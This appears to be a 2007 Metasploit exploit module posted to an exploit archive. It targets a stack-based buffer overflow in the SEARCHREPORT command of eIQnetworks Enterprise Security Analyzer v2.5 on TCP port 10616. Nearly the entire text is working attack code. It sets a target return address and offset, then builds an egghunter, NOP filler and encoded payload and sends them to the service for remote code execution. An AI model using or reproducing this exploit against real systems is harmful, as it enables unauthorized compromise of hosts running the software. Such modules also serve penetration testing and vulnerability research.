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eiqnetworks-overflow.pm.txt

Posted on 25 October 2007

##
# $Id: eiqnetworks_esa.rb 4529 2007-03-12 01:08:18Z hdm $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##


require 'msf/core'

module Msf

class Exploits::Windows::Misc::Eiqnetworks_SEARCHREPORT < Msf::Exploit::Remote

include Exploit::Remote::Tcp
include Exploit::Remote::Egghunter

def initialize(info = {})
super(update_info(info,
'Name'           => 'eIQNetworks ESA SEARCHREPORT Overflow',
'Description'    => %q{
This module exploits a stack overflow in eIQnetworks
Enterprise Security Analyzer. During the processing of
long arguments to the SEARCHREPORT command, a stack-based
buffer overflow occurs.
},
'Author'         => [ 'ri0t <ri0t[at]ri0tnet.net>',   ],
'Version'        => '$Revision: 4529 $',
'References'     =>
[
],
'DefaultOptions' =>
{
'EXITFUNC' => 'seh',
},
'Payload'        =>
{
'Space'    => 1962,
'BadChars' => "x00",
'ActiveTimeout' => 15,
},
'Platform'       => 'win',

'Targets'        =>
[
['EnterpriseSecurityAnalyzer v2.5 Universal', { 'Ret' => 0x55322a6a, 'Offset' => 1962 } ],

],

'Privileged'     => false,

'DisclosureDate' => ''

))

register_options(
[
Opt::RPORT(10616)
], self.class)
end

def exploit
connect

print_status("Trying target #{target.name}...")

hunter = generate_egghunter()
egg = hunter[1]
filler =  make_nops(target['Offset'] - payload.encoded.length)
sploit =  "SEARCHREPORT&" + egg + egg + filler + payload.encoded + make_nops(12) + [target.ret].pack('V') + make_nops(12) + hunter[0] +  "&";
puts sploit
sock.put(sploit)
handler
disconnect
end

end
end

 

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